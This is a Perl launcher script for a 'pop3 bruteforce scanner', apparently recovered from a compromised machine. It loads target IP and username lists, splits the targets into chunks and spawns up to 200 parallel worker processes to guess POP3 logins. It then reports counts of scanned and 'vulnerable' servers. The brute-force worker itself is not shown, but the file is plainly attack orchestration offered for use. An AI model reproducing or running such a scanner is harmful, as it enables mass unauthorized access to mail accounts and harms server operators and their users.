File: //proc/2/task/2/cwd/ScN/smtp/start
#!/usr/bin/perl
$MAXPROCESSES = 200;
print qq (### pop3 bruteforce scanner v1.0\n);
print qq (\n);
`perl -pi -e "s/^\n//" ips.txt`;
`perl -pi -e "s/^\n//" users.txt`;
`rm -rf temp/*`;
$ipfile = "ips.txt";
open(IN_FILE, $ipfile);
my $numbers;
$numbers++ foreach(<IN_FILE>);
close IN_FILE;
$totalips = $numbers;
print qq (### Ok ... We have a total of $numbers servers to scan...\n);
print qq (\n);
$totalbytes = `ls -al ips.txt | gawk -F " " '{ print \$5 }'`;
my $divide = ($totalbytes /= $MAXPROCESSES);
if ($divide =~ /\./) {
($divide,$b) = split (/\./,$divide);
}
$divide = ($divide+10);
`cd temp;split -b $divide ../ips.txt poplist;cd ..`;
$filenames = `ls -l temp|grep poplist|gawk -F" " '{ print \$9 }'`;
open(OUT, ">temp/files.txt");
print OUT "$filenames";
close OUT;
$files = "temp/files.txt";
open(IN_FILE, $files);
my @filesdata=<IN_FILE>;
close IN_FILE;
foreach $file (@filesdata){
chomp $file;
open (SEND, "|perl process $file &");
close SEND;
}
print qq (TOTAL-SERVERS DONE-SERVERS VULN-SERVERS\n);
sub checkstatus {
$donefile = "temp/doneservers.txt";
open(IN_FILE, $donefile);
my $doneservers;
$doneservers++ foreach(<IN_FILE>);
close IN_FILE;
$vulnfile = "popvuln.txt";
open(IN_FILE, $vulnfile);
my $vuln;
$vuln++ foreach(<IN_FILE>);
close IN_FILE;
$procfile = "temp/doneprocesses.txt";
open(IN_FILE, $procfile);
my $procs;
$procs++ foreach(<IN_FILE>);
close IN_FILE;
print "$totalips $doneservers $vuln","\r";
if ( $procs >= $MAXPROCESSES) {
$job = 1;
print qq (\n);
print qq (Finished ...\n);
exit;
}
`sleep 6`;
checkstatus();
}
checkstatus();
my $job=0;
while ($job == 0)
{
checkstatus();
if ( $job == 1 ) {
last;
}
}